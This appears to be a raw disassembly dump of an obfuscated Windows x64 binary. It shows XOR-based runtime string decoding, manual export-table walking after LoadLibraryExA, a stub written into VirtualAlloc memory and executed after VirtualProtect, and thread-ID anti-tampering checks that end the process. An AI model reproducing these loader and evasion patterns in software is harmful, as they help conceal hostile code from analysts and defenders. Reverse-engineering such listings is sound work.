mov rax, qword [rbp + 0xfe8]
mov edi, dword [rax + 0x50]
mov r13, qword [rbp + 0xe58]
mov qword [rbp + 0xf50], r13
cmp qword [0x1400d5f50], r14
jne 0x140019f20
mov ecx, 0x26b0
call fcn.14008e03c
test rax, rax
je 0x140019f20
mov qword [rax], r14
mov qword [rax + 8], 0x19c
mov qword [0x1400d5f50], rax
mov qword [rbp + 0xe60], r14
mov qword [rbp + 0x1020], rdi
movdqa xmm0, xmmword [0x1400c8cb0]
movdqu xmmword [rbp + 0x7e8], xmm0
mov dword [rbp + 0x7f8], 0x15d46150
mov dword [rbp + 0x7fc], 0x6e26d0
mov rdi, r14
movabs r13, 0xca8495ff84371
mov qword [rsp + 0x20], r13
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7e8]
lea rcx, [rbp + 0x7e8]
call fcn.140023f88
xor al, dil
mov byte [rbp + rdi + 0x7e8], al
add rdi, r15
cmp rdi, 0x17
jb 0x140019f5f
mov byte [rbp + 0x7ff], r14b
or rdx, 0xffffffffffffffff
mov rbx, qword [0x1400d5f50]
test rbx, rbx
mov r13, qword [rbp + 0xf50]
je 0x14001a07b
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14001a033
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
cmovb rcx, rdx
call fcn.14008e03c
mov rsi, rax
test rax, rax
je 0x14001a078
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400d5f50]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400ac230
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400ac8d0
mov rcx, rdi
call fcn.14008df18
mov qword [0x1400d5f50], rsi
mov rbx, rsi
lea rax, [rbp + 0x7e8]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], Ordinal_30
mov byte [rbp + 0xf70], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
mov dword [rbp + 0x70], 0x84015c7a
mov dword [rbp + 0x74], 0xe3e51d90
mov word [rbp + 0x78], 0x88
mov rdi, r14
movabs rbx, 0xca8495ff84371
mov qword [rsp + 0x20], rbx
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x70]
lea rcx, [rbp + 0x70]
call fcn.140023ea0
xor al, dil
mov byte [rbp + rdi + 0x70], al
inc rdi
cmp rdi, 9
jb 0x14001a09c
mov byte [rbp + 0x79], r14b
mov rbx, qword [0x1400d5f50]
test rbx, rbx
je 0x14001a1a6
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14001a160
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.14008e03c
mov rsi, rax
test rax, rax
je 0x14001a1a3
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400d5f50]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400ac230
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400ac8d0
mov rcx, rdi
call fcn.14008df18
mov qword [0x1400d5f50], rsi
mov rbx, rsi
lea rax, [rbp + 0x70]
mov qword [rbp + 0xf60], rax
mov eax, 0xa
mov qword [rbp + 0xf68], rax
mov byte [rbp + 0xf70], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x14001a237
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001a237
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14001a237
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14001a237
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x14001a237
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x7e8]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14001a226
inc rax
test edi, edi
jne 0x14001a211
test r8d, r8d
je 0x14001a2b1
inc rdx
cmp rdx, rsi
jb 0x14001a200
mov esi, r14d
mov rdi, qword [0x1400d5f50]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor edx, edx
test r15, r15
jle 0x14001a487
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf70], xmm0
movq rax, xmm1
test rax, rax
je 0x14001a474
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x14001a474
mov cl, byte [rbp + 0xf70]
test cl, cl
jne 0x14001a438
xor edx, edx
mov rcx, rax
call fcn.1400ac8d0
jmp 0x14001a472
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14001a237
mov r14d, dword [rdx + 4]
xor edi, edi
test r14d, r14d
jns 0x14001a2d5
xor r14d, r14d
jmp 0x14001a237
mov r9d, 4
mov r12d, 0x3000
mov r8d, r12d
mov r15d, 0x1000
mov edx, r15d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
call fcn.1400827b0
or dword [rbp + 0x9b34], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x87b0]
call fcn.140024a64
lea rcx, [rbp + 0x87b0]
call fcn.140023ffc
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
lea rcx, [rbp + 0x87b0]
call fcn.140023ffc
mov eax, eax
mov qword [rbp + rdi*8 + 0x466e0], rax
inc rdi
cmp rdi, 0x200
jl 0x14001a34c
mov r8, r15
lea rdx, [rbp + 0x466e0]
mov rcx, rbx
call fcn.1400ac230
mov dword [0x1400d4524], r14d
lea rdi, [rsi + rbx]
movsd xmm0, qword [0x1400d4520]
movsd qword [rdi], xmm0
movzx eax, word [0x1400d4528]
mov word [rdi + 8], ax
mov al, byte [0x1400d452a]
mov byte [rdi + 0xa], al
xor r14d, r14d
mov dword [rbp + 0xfcc], r14d
lea r9, [rbp + 0xfcc]
lea r8d, [r14 + 0x20]
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], r12d
lea r9, [rbp + 0x1020]
lea r8d, [r14 + 3]
lea rdx, [rbp + 0xe60]
mov rcx, r13
call rdi
mov esi, eax
lea r9, [rbp + 0xfcc]
mov r8d, dword [rbp + 0xfcc]
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, r15
xor edx, edx
mov rcx, rbx
call fcn.1400ac8d0
lea edx, [r14 + 0xb]
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x1400d4524], r14d
jmp 0x14001a23a
cmp cl, 1
jne 0x14001a474
mov rdx, rax
lea rcx, [rbp + 0x1168]
call fcn.1400247cc
xor edx, edx
lea rcx, [rbp + 0x1168]
call fcn.140024980
lea rcx, [rbp + 0x1168]
call fcn.140024910
lea rcx, [rbp + 0x1168]
call fcn.140001a98
xor edx, edx
inc r14d
add rbx, 0x18
movsxd rax, r14d
cmp rax, r15
jl 0x14001a263
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1400ac8d0
mov rcx, rdi
call fcn.14008df18
xor r15d, r15d
mov qword [0x1400d5f50], r15
test esi, esi
js 0x14002293a
mov rax, qword [rbp + 0xe60]
mov qword [rbp - 0x28], rax
test rax, rax
je 0x14002293a
mov r13, qword [rbp + 0xe58]
mov ecx, 0x26b0
call fcn.14008e03c
test rax, rax
je 0x14001a4ea
mov qword [rax], r15
mov qword [rax + 8], 0x19c
mov qword [0x1400d5f50], rax
mov qword [rbp + 0xe68], r15
mov qword [rbp + 0x1010], 0x1000
movdqa xmm0, xmmword [0x1400c8cb0]
movdqu xmmword [rbp + 0x800], xmm0
mov dword [rbp + 0x810], 0x15d46150
mov dword [rbp + 0x814], 0x6e26d0
mov rdi, r15
movabs r14, 0xca8495ff84371
mov qword [rsp + 0x20], r14
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x800]
lea rcx, [rbp + 0x800]
call fcn.140023f88
xor al, dil
mov byte [rbp + rdi + 0x800], al
inc rdi
cmp rdi, 0x17
jb 0x14001a52d
mov byte [rbp + 0x817], r15b
mov rbx, qword [0x1400d5f50]
test rbx, rbx
je 0x14001a654
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14001a600
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.14008e03c
mov rsi, rax
test rax, rax
je 0x14001a647
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400d5f50]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400ac230
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400ac8d0
mov rcx, rdi
call fcn.14008df18
mov qword [0x1400d5f50], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x800]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], Ordinal_30
mov byte [rbp + 0xf70], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x14001a64a
xor r15d, r15d
movabs r14, 0xca8495ff84371
mov dword [rbp + 0x60], 0x84015c7a
mov dword [rbp + 0x64], 0xe3e51d90
mov word [rbp + 0x68], 0x88
mov rdi, r15
mov qword [rsp + 0x20], r14
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x60]
lea rcx, [rbp + 0x60]
call fcn.140023ea0
xor al, dil
mov byte [rbp + rdi + 0x60], al
inc rdi
cmp rdi, 9
jb 0x14001a66b
mov byte [rbp + 0x69], r15b
mov rbx, qword [0x1400d5f50]
test rbx, rbx
je 0x14001a77a
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14001a732
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.14008e03c
mov rsi, rax
test rax, rax
je 0x14001a777
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400d5f50]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400ac230
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400ac8d0
mov rcx, rdi
call fcn.14008df18
mov qword [0x1400d5f50], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x60]
mov qword [rbp + 0xf60], rax
mov eax, 0xa
mov qword [rbp + 0xf68], rax
mov byte [rbp + 0xf70], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x14001a77a
xor r15d, r15d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x14001a80b
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001a80b
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14001a80b
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14001a80b
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r15
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x14001a80b
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x800]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14001a7fa
inc rax
test edi, edi
jne 0x14001a7e5
test r8d, r8d
je 0x14001a889
inc rdx
cmp rdx, rsi
jb 0x14001a7d4
mov esi, r15d
mov rdi, qword [0x1400d5f50]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor r13d, r13d
mov r14d, r13d
test r15, r15
jle 0x14001aa59
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf70], xmm0
movq rax, xmm1
test rax, rax
je 0x14001aa46
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x14001aa46
mov cl, byte [rbp + 0xf70]
test cl, cl
jne 0x14001aa0c
xor edx, edx
mov rcx, rax
call fcn.1400ac8d0
jmp 0x14001aa46
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14001a80b
mov r14d, dword [rdx + 4]
test r14d, r14d
js 0x14001a80b
cmp cl, 1
jne 0x14001aa46
mov rdx, rax
lea rcx, [rbp + 0x1148]
call fcn.1400247cc
xor edx, edx
lea rcx, [rbp + 0x1148]
call fcn.140024980
lea rcx, [rbp + 0x1148]
call fcn.140024910
lea rcx, [rbp + 0x1148]
call fcn.140001a98
inc r14d
add rbx, 0x18
movsxd rax, r14d
cmp rax, r15
jl 0x14001a83b
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1400ac8d0
mov rcx, rdi
call fcn.14008df18
mov qword [0x1400d5f50], r13
test esi, esi
js 0x1400227a1
mov r12, qword [rbp + 0xe68]
mov qword [rbp - 0x50], r12
test r12, r12
je 0x1400227a1
movabs rax, 0xfc7aeea332188
mov qword [rbp + 0x1228], rax
movabs rax, 0xd9938cff1332a
mov qword [rbp + 0x1230], rax
lea rax, [r12 + 0x28]
mov qword [rbp + 0x1238], rax
mov rsi, qword [rbp - 0x28]
mov qword [rbp + 0x1240], rsi
mov rax, qword [rbp + 0xfe8]
mov eax, dword [rax + 0x50]
mov qword [rbp + 0x1248], rax
mov rsi, qword [rsp + 0x70]
mov qword [rsp + 0x70], rsi
movabs r15, 0xa9ff9483ccaeddf
mov qword [rbp + 0xf50], r15
mov qword [rbp + 0xf58], r13
mov r8d, r13d
mov rdi, r13
mov r14d, 1
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x70]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf58], cl
add rdi, r14
cmp r8d, 8
jb 0x14001ab09
mov r11d, r13d
mov rax, r13
lea r8, [rbp + 0x1228]
movabs r15, 0x8080808080808081
and eax, 7
movzx edi, byte [rbp + rax + 0xf58]
mov r10b, dil
xor r10b, 0x28
mov ebx, edi
mov ecx, r13d
lea r9, [rbp + 0xf58]
movzx edi, dil
movzx eax, byte [r9]
add rdi, rax
xor rdi, qword [rbp + 0xf58]
mov rax, r15
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
add ecx, r14d
add r9, r14
cmp ecx, 8
jb 0x14001ab82
movzx ecx, r10b
add ecx, ebx
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
add cl, byte [r8]
xor cl, dil
mov byte [r8], cl
add r11d, r14d
add r8, r14
movsxd rax, r11d
cmp rax, 0x28
jb 0x14001ab64
mov qword [rbp + 0xf58], rsi
movabs r15, 0xa9ff9483ccaeddf
mov qword [rsp + 0x70], r15
xor esi, esi
mov qword [rbp + 0xf50], rsi
mov r8d, esi
mov edi, esi
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rbp + rdi + 0xf58]
imul ecx, eax
movzx eax, byte [rsp + rdi + 0x70]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf50], cl
add rdi, r14
cmp r8d, 8
jb 0x14001ac1e
mov r11d, esi
mov rax, rsi
lea r8, [rbp + 0x285d0]
movabs r12, 0x8080808080808081
and eax, 7
movzx edi, byte [rbp + rax + 0xf50]
mov r10b, dil
xor r10b, 5
mov ebx, edi
mov ecx, esi
lea r9, [rbp + 0xf50]
movzx edi, dil
movzx eax, byte [r9]
add rdi, rax
xor rdi, qword [rbp + 0xf50]
mov rax, r12
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
add ecx, r14d
add r9, r14
cmp ecx, 8
jb 0x14001ac96
movdqa xmm0, xmmword [0x1400c8ce0]
movdqu xmmword [rbp + 0x3b0], xmm0
mov word [rbp + 0x3c0], 5
mov r10, r13
movabs rbx, 0x1a2e6bfe9
movabs rsi, 0x8080808080808081
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x1bd152be79
movabs r9, 0x37a2a57cf2
movabs r14, 0x1a2e6bfe8
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r10 + 0x3b0]
xor dil, r10b
mov byte [rbp + r10 + 0x3b0], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x1400227f5
mov byte [rbp + 0x3c1], r13b
movdqa xmm0, xmmword [0x1400c8a80]
movdqu xmmword [rbp + 0x958], xmm0
mov dword [rbp + 0x968], 0x64e20e8e
mov dword [rbp + 0x96c], 0xf3d2f7e6
mov dword [rbp + 0x970], 0xf26fdc9d
xor eax, eax
mov byte [rbp + 0x974], al
mov r8, r13
lea r10d, [rax + 0x1c]
movabs r9, 0x2dd13cfd7c
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x958], dil
inc r8
add r9, rbx
add r10, 0x1c
movabs rax, 0x5ba279faf8
cmp r9, rax
jb 0x1400228a8
mov byte [rbp + 0x974], r13b
xor r9d, r9d
lea r8, [rbp + 0x3b0]
lea rdx, [rbp + 0x958]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.140089778
int3
movdqa xmm0, xmmword [0x1400c8ce0]
movdqu xmmword [rbp + 0x308], xmm0
mov word [rbp + 0x318], 5
mov r10, r15
movabs rbx, 0x1a2e6bfe9
movabs rsi, 0x8080808080808081
movabs r8, 0x1bd152be79
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x37a2a57cf2
movabs r14, 0x1a2e6bfe8
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x308], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14002298e
mov byte [rbp + 0x319], r15b
movdqa xmm0, xmmword [0x1400c8a70]
movdqu xmmword [rbp + 0x740], xmm0
mov dword [rbp + 0x750], 0x5bf6075c
mov word [rbp + 0x754], __WSAFDIsSet
mov r9, r15
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r8, 0x225cedbe1d
movabs r10, 0x44b9db7c3a
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r9 + 0x740]
xor dil, r9b
mov byte [rbp + r9 + 0x740], dil
inc r9
add r8, rbx
add r11, 0x15
cmp r8, r10
jb 0x140022a32
mov byte [rbp + 0x755], r15b
xor r9d, r9d
lea r8, [rbp + 0x308]
lea rdx, [rbp + 0x740]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.140089778
int3
cmp rax, rbx
jne 0x140022b6d
mov rax, qword gs:[0]
movabs rcx, 0xea6d55ec6d6fb000
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140022b4d
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140022b4d
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140022b6d
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.140089778
int3
movdqa xmm0, xmmword [0x1400c8ce0]
movdqu xmmword [rbp + 0x350], xmm0
mov word [rbp + 0x360], 5
mov r10, r14
movabs r8, 0x1bd152be79
mov r11, r12
movabs rsi, 0x8080808080808081
movabs r9, 0x37a2a57cf2
movabs r15, 0x1a2e6bfe8
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r10 + 0x350]
xor dil, r10b
mov byte [rbp + r10 + 0x350], dil
inc r10
add r8, r13
add r11, r12
cmp r8, r9
jb 0x140022bb4
mov byte [rbp + 0x361], r14b
movdqa xmm0, xmmword [0x1400c8cd0]
movdqu xmmword [rbp + 0x818], xmm0
mov dword [rbp + 0x828], 0x8f716bd3
mov dword [rbp + 0x82c], 0x5b6550
mov r8, r14
mov r10d, reloc.WS2_32.dll_socket
movabs r9, 0x25a2bb3def
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x818]
xor dil, r8b
mov byte [rbp + r8 + 0x818], dil
inc r8
add r9, r13
add r10, 0x17
movabs rax, 0x4b45767bde
cmp r9, rax
jb 0x140022c56
mov byte [rbp + 0x82f], r14b
xor r9d, r9d
lea r8, [rbp + 0x350]
lea rdx, [rbp + 0x818]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x48]
cmp rax, rbx
jne 0x140022da2
mov rcx, qword gs:[0]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov eax, 0x3e9025c8
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov eax, 0x137442a0
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140022d82
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140022d82
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140022da2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword gs:[0x48]
cmp rax, rbx
jne 0x14002344e
mov rax, qword gs:[0]
mov ecx, 0xb505ee60
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140022e35
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140022e35
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002344e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
movdqa xmm0, xmmword [0x1400c8ce0]
movdqu xmmword [rbp + 0x368], xmm0
mov word [rbp + 0x378], 5
mov r10, r15
mov r11, r12
movabs rbx, 0x8080808080808081
movabs r8, 0x1bd152be79
movabs r9, 0x37a2a57cf2
movabs r14, 0x1a2e6bfe8
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r10 + 0x368]
xor dil, r10b
mov byte [rbp + r10 + 0x368], dil
inc r10
add r8, r13
add r11, r12
cmp r8, r9
jb 0x140022e9c
mov byte [rbp + 0x379], r15b
movdqa xmm0, xmmword [0x1400c8b00]
movdqu xmmword [rbp + 0x758], xmm0
mov dword [rbp + 0x768], 0x52f20379
mov word [rbp + 0x76c], Ordinal_143
mov r9, r15
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r8, 0x225cedbe1d
movabs r10, 0x44b9db7c3a
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0x758], dil
inc r9
add r8, r13
add r11, 0x15
cmp r8, r10
jb 0x140022f47
mov byte [rbp + 0x76d], r15b
xor r9d, r9d
lea r8, [rbp + 0x368]
lea rdx, [rbp + 0x758]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x48]
cmp rax, rsi
jne 0x140023081
mov rcx, qword gs:[0]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov eax, 0x3e9025c8
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov eax, 0x137442a0
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140023061
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140023061
